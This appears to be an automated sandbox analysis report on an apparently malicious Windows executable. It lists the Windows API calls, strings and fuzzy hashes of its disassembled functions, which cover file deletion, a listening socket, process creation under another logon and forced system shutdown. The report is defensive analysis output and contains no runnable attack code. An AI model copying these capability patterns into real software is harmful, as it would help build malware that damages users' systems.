Part of subcall function 00007FF73A1D56D4: GetFullPathNameW.KERNEL32(?,00007FF73A1D56C1,?,00007FF73A1D7A0C,?,?,?,00007FF73A1D109E), ref: 00007FF73A1D56FF

Part of subcall function 00007FF73A24CED4: GetFileAttributesW.KERNEL32 ref: 00007FF73A24CED8

FindFirstFileW.KERNEL32 ref: 00007FF73A24B8AC
DeleteFileW.KERNEL32 ref: 00007FF73A24B987
MoveFileW.KERNEL32 ref: 00007FF73A24B9A7
DeleteFileW.KERNEL32 ref: 00007FF73A24B9CA
FindNextFileW.KERNEL32 ref: 00007FF73A24B9FC
FindClose.KERNEL32 ref: 00007FF73A24BA15

Part of subcall function 00007FF73A24BA80: CopyFileExW.KERNEL32 ref: 00007FF73A24BAA7

Strings

\*.*, xrefs: 00007FF73A24B849, 00007FF73A24B867

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4047182710-1173974218
Opcode ID: 63d5e11d665e15a438a0c10d74a1b99b801933d09aa92db42f818117b57713fc
Instruction ID: 91d1f42b3d94de3a19537cf988a97adbb004bda8c3d9529fb8657f1b37358ecd
Opcode Fuzzy Hash: 63d5e11d665e15a438a0c10d74a1b99b801933d09aa92db42f818117b57713fc
Instruction Fuzzy Hash: F981432AA08652A5FB50FB64E4421FDBB70EB84794FC00172FA4E46AA9DF3CD545E720

Function 00007FF73A263940 Relevance: 12.1, APIs: 8, Instructions: 116networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32 ref: 00007FF73A2639DA
WSAGetLastError.WSOCK32 ref: 00007FF73A2639EC
bind.WSOCK32 ref: 00007FF73A263A3A
WSAGetLastError.WSOCK32 ref: 00007FF73A263A44
closesocket.WSOCK32 ref: 00007FF73A263A70
listen.WSOCK32 ref: 00007FF73A263A7E
WSAGetLastError.WSOCK32 ref: 00007FF73A263A94
closesocket.WSOCK32 ref: 00007FF73A263AC0

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: f24216cf85a9cfc84ec9f45b81836fed2d974ebfd3edccbe64e1b0b478a4ea6b
Instruction ID: 8fa769016f252223036bc154d3ed2b4932c05851f662b72c73b14e537be4633b
Opcode Fuzzy Hash: f24216cf85a9cfc84ec9f45b81836fed2d974ebfd3edccbe64e1b0b478a4ea6b
Instruction Fuzzy Hash: 4941D26AA0864296FB10FF16A44227CF760FF94BA0F884570EA5E47792CF7CD541B714

Function 00007FF73A268360 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 331COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00007FF73A2683EA
NULL Pointer assignment, xrefs: 00007FF73A268831

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 3b41e49848b2a854f69dbea14d55eff9d78a714003a2fd806a44bf0603c53a60
Instruction ID: 551f4b6aadb9c07cd69c361bae0735cf197e58e5d686c8373514e7a9154268db
Opcode Fuzzy Hash: 3b41e49848b2a854f69dbea14d55eff9d78a714003a2fd806a44bf0603c53a60
Instruction Fuzzy Hash: 72E1D33AA09B82A6FB10DF25E4412ADB7A0FBC4798F804136DE4D47BA4DF78E545E710

Function 00007FF73A24BC70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D56D4: GetFullPathNameW.KERNEL32(?,00007FF73A1D56C1,?,00007FF73A1D7A0C,?,?,?,00007FF73A1D109E), ref: 00007FF73A1D56FF

Part of subcall function 00007FF73A24CED4: GetFileAttributesW.KERNEL32 ref: 00007FF73A24CED8

FindFirstFileW.KERNEL32 ref: 00007FF73A24BD09
DeleteFileW.KERNEL32 ref: 00007FF73A24BD5B
FindNextFileW.KERNEL32 ref: 00007FF73A24BD6D
FindClose.KERNEL32 ref: 00007FF73A24BD7F
FindClose.KERNEL32 ref: 00007FF73A24BD8A

Strings

\*.*, xrefs: 00007FF73A24BCD3

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 9a9742f6c1f2db144535d51f8d9156eedd2c1375842904f3187248af9e6946d9
Instruction ID: 885acb7206fef01bbfa525d17c9842b6cbc6c3df5b8d116d675ab2d64eaab073
Opcode Fuzzy Hash: 9a9742f6c1f2db144535d51f8d9156eedd2c1375842904f3187248af9e6946d9
Instruction Fuzzy Hash: E241812AA28A42A6FB50EB20E4421BDB360FFC4B90FD011B2FA5E47695DF7CD505E710

Function 00007FF73A20AF58 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF73A20AFD1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF73A20AFE9
RtlVirtualUnwind.KERNEL32 ref: 00007FF73A20B024
IsDebuggerPresent.KERNEL32 ref: 00007FF73A20B05D
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF73A20B067
UnhandledExceptionFilter.KERNEL32 ref: 00007FF73A20B072

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: a012b73838b214995184a74d390d22d5d4f2798e6d2ee27280782cebe5dad480
Instruction ID: 81055516a6ebf5079923b46dcc72359e340af854f3018572570718aec558e0f3
Opcode Fuzzy Hash: a012b73838b214995184a74d390d22d5d4f2798e6d2ee27280782cebe5dad480
Instruction Fuzzy Hash: 0431733A618B819AEB60DF25E8412AEB3A4FBC8754F900235EA9D43B59DF3CC545DB10

Function 00007FF73A23D2C4 Relevance: 9.1, APIs: 6, Instructions: 77processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF73A23D2AB), ref: 00007FF73A23D31F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00007FF73A23D2AB), ref: 00007FF73A23D335
CreateEnvironmentBlock.USERENV(?,?,?,?,?,?,?,?,?,?,?,00007FF73A23D2AB), ref: 00007FF73A23D34E
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF73A23D2AB), ref: 00007FF73A23D35E
CreateProcessWithLogonW.ADVAPI32 ref: 00007FF73A23D3CA
DestroyEnvironmentBlock.USERENV ref: 00007FF73A23D3E3

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
Instruction ID: 34632fe6cccf533423357c44af7f84e08f96f4284d26e3da01aba0b075555be4
Opcode Fuzzy Hash: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
Instruction Fuzzy Hash: BB318D36608B859AE7609F02E8817AAB3A4FBC9B90F844176DE8D43B54DF3DD445EB10

Function 00007FF73A25A874 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 118filesleepCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF73A25A8F4
FindClose.KERNEL32 ref: 00007FF73A25AA15

Part of subcall function 00007FF73A253824: GetInputState.USER32 ref: 00007FF73A253889
Part of subcall function 00007FF73A253824: PeekMessageW.USER32 ref: 00007FF73A253938

Sleep.KERNEL32 ref: 00007FF73A25A939
FindNextFileW.KERNEL32 ref: 00007FF73A25AA00

Strings

*.*, xrefs: 00007FF73A25A8B3

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState
String ID: *.*
API String ID: 1927845040-438819550
Opcode ID: 60066e7ae72725fd240c8aaa1ccf88b42092936b6c2304e3e863c1c22e659da5
Instruction ID: 1002ceecbadc3f36b732b346bd7c2b8ee35b1cdf89a186e286867179fc2b82ad
Opcode Fuzzy Hash: 60066e7ae72725fd240c8aaa1ccf88b42092936b6c2304e3e863c1c22e659da5
Instruction Fuzzy Hash: 6C51A12A608A82A5FB10EB15E8462BDF3B0FB85794F9101B2DE4D03799EF3CD945E710

Function 00007FF73A1DBE70 Relevance: 8.6, Strings: 6, Instructions: 1141COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00007FF73A1DC25F
VUUU, xrefs: 00007FF73A1DC21F
VUUU, xrefs: 00007FF73A1DC210
VUUU, xrefs: 00007FF73A21F6FD
ERCP, xrefs: 00007FF73A1DBF69
PCRE, xrefs: 00007FF73A21F4B1

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: ERCP$PCRE$VUUU$VUUU$VUUU$VUUU
API String ID: 0-2187161917
Opcode ID: 52bbb01250ada343afc02eebb5c988e0963da5400e9343603d667423943af628
Instruction ID: 7f9960a08468fd87ecca1f9188521777c35cde5bbd1d9663b8503ec688d5c427
Opcode Fuzzy Hash: 52bbb01250ada343afc02eebb5c988e0963da5400e9343603d667423943af628
Instruction Fuzzy Hash: C8B2057BA0869196FB209F24A8062BDB7B1FB84788F904576DE5D57B84DF3CE840E710

Function 00007FF73A255F2C Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 300comCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D56D4: GetFullPathNameW.KERNEL32(?,00007FF73A1D56C1,?,00007FF73A1D7A0C,?,?,?,00007FF73A1D109E), ref: 00007FF73A1D56FF

CoInitialize.OLE32 ref: 00007FF73A2560A2
CoCreateInstance.OLE32 ref: 00007FF73A2560C5
CoUninitialize.OLE32 ref: 00007FF73A2560E3

Strings

.lnk, xrefs: 00007FF73A255F94, 00007FF73A255FE3, 00007FF73A256090

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize
String ID: .lnk
API String ID: 3769357847-24824748
Opcode ID: eda95dcdb1a60db1e74d818a96950abed1f83fa0258330edcd21d03ba9bb01b1
Instruction ID: b1615f487441079fdd071dfcfdaad6f23e272df39e79225dc49579ec2dec2699
Opcode Fuzzy Hash: eda95dcdb1a60db1e74d818a96950abed1f83fa0258330edcd21d03ba9bb01b1
Instruction Fuzzy Hash: F9D15A7AB04A46A5FB10EF66D0912ADB7B0FB88B88B884072DE4D47B55DF3DD845E310

Function 00007FF73A20793C Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 262COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF73A207A8E

Strings

!, xrefs: 00007FF73A207A7A
VUUU, xrefs: 00007FF73A207B5B
fmod, xrefs: 00007FF73A207A58

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _handle_error
String ID: !$VUUU$fmod
API String ID: 1757819995-2579133210
Opcode ID: 891804033c6d9bcc01b81d75b861d81fbb0e9180f173dbd42278a229c0b4683c
Instruction ID: 06f3076a5eb792179c0ab12058076176094720ad61278ff286a23b0397a50dc6
Opcode Fuzzy Hash: 891804033c6d9bcc01b81d75b861d81fbb0e9180f173dbd42278a229c0b4683c
Instruction Fuzzy Hash: AFB1F625E1CFC445E6A7DA3450123B6F259AFEB390F50C332E95E36AA4DF2C9582A701

Function 00007FF73A212D20 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 169COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A212D60

Part of subcall function 00007FF73A20B184: GetCurrentProcess.KERNEL32(00007FF73A20B21D), ref: 00007FF73A20B1B1

Strings

*, xrefs: 00007FF73A212D87
., xrefs: 00007FF73A2131A7
., xrefs: 00007FF73A213198

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *$.$.
API String ID: 2518042432-2112782162
Opcode ID: 10686662bc6c287608bb1927b489f0d8a7225314f89d29ff6f04aab4d96db585
Instruction ID: ca0cc3209edef1017632225a997f1f582aff229106e7824680439a4da3f705b9
Opcode Fuzzy Hash: 10686662bc6c287608bb1927b489f0d8a7225314f89d29ff6f04aab4d96db585
Instruction Fuzzy Hash: 4451F366F10B5595FB14EBA5D8026BDA7A4FB84BC8F944535EE0D17B84DE3CE042A320

Function 00007FF73A2084C0 Relevance: 7.1, APIs: 4, Instructions: 1071COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A2088E5
_get_daylight.LIBCMT ref: 00007FF73A2089C3
_get_daylight.LIBCMT ref: 00007FF73A2089DC

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID:
API String ID: 1286766494-0
Opcode ID: ff66785d1f33ad73d5007bcee94c477568ce16377581ab8ae86a17e1b75de420
Instruction ID: 804353143441f709890cd157d52641cdd6285a09b32a8c05c5980401316663ca
Opcode Fuzzy Hash: ff66785d1f33ad73d5007bcee94c477568ce16377581ab8ae86a17e1b75de420
Instruction Fuzzy Hash: 0FA2E13BA086469AF724EF24D49217AB7A1FB84788F944171DB8D03B98DF3DD411B722

Function 00007FF73A24D750 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A23D5CC: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF73A23D630
Part of subcall function 00007FF73A23D5CC: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF73A23D66F
Part of subcall function 00007FF73A23D5CC: GetLastError.KERNEL32 ref: 00007FF73A23D682

ExitWindowsEx.USER32 ref: 00007FF73A24D798
InitiateSystemShutdownExW.ADVAPI32 ref: 00007FF73A24D7C0
SetSystemPowerState.KERNEL32 ref: 00007FF73A24D7D2

Strings

SeShutdownPrivilege, xrefs: 00007FF73A24D763

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: System$AdjustErrorExitInitiateLastLookupPowerPrivilegePrivilegesShutdownStateTokenValueWindows
String ID: SeShutdownPrivilege
API String ID: 2163645468-3733053543
Opcode ID: d91431930fad3db0e3d1089491ea6c9a4476952d79cc7edd8ba2b1494bd95168
Instruction ID: f4c91ba5295f4e42739826d78e2a8373b3525d4be1f5acfb8b437e0c2927e4d1
Opcode Fuzzy Hash: d91431930fad3db0e3d1089491ea6c9a4476952d79cc7edd8ba2b1494bd95168
Instruction Fuzzy Hash: E6119136B1861292F724EB25A84216EE352BFC4B50F894275F54D83AD9EF3CD805B750

Function 00007FF73A1F5BC0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF73A1F5C21
IsDebuggerPresent.KERNEL32 ref: 00007FF73A1F5C39
OutputDebugStringW.KERNEL32 ref: 00007FF73A1F5C4A

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00007FF73A1F5C43

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: a6f712f19902253ba7949c04243615cc0ab49cc8bc5c14b6f720c4296af9f677
Instruction ID: 8d481ff16d885fdb0cabab6297d7de0cb8953be8bd7ca8f155d1c00e70679d4c
Opcode Fuzzy Hash: a6f712f19902253ba7949c04243615cc0ab49cc8bc5c14b6f720c4296af9f677
Instruction Fuzzy Hash: 9511423A615782A7F704AB22E556379B3B8FB84355F804275D74E82950DF3CE064E720

Function 00007FF73A2432F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF73A24330B
GetProcAddress.KERNEL32 ref: 00007FF73A243323

Strings

GetNativeSystemInfo, xrefs: 00007FF73A243319
kernel32.dll, xrefs: 00007FF73A243304

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
Instruction ID: 6b0597556fdb2d41509643b07a2336c6c40aa4b8b29a84619c063d3d6520bcec
Opcode Fuzzy Hash: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
Instruction Fuzzy Hash: 1EE01269905B06A1FF14AB50E41636863E4FB88B48FC40475D91D45390EFBCE5A4F350

Function 00007FF73A1E2E30 Relevance: 6.5, APIs: 2, Strings: 1, Instructions: 1264COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF73A22E641

Strings

Variable must be of type 'Object'., xrefs: 00007FF73A22E92D

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Init_thread_footer
String ID: Variable must be of type 'Object'.
API String ID: 1385522511-109567571
Opcode ID: 09b0c8642434f20ce4b814200726c115a0bcc0e38a9d6de865f3abdb52dfbc80
Instruction ID: 71d9ea997612e73196bcc03c70c2ec931fd0497f60db5fe7a388176e808232ae
Opcode Fuzzy Hash: 09b0c8642434f20ce4b814200726c115a0bcc0e38a9d6de865f3abdb52dfbc80
Instruction Fuzzy Hash: E6C2C43AA0868692FB64EF15E4426B9B7B1FB94B84F845171DA4E477A4CF3CE481F310

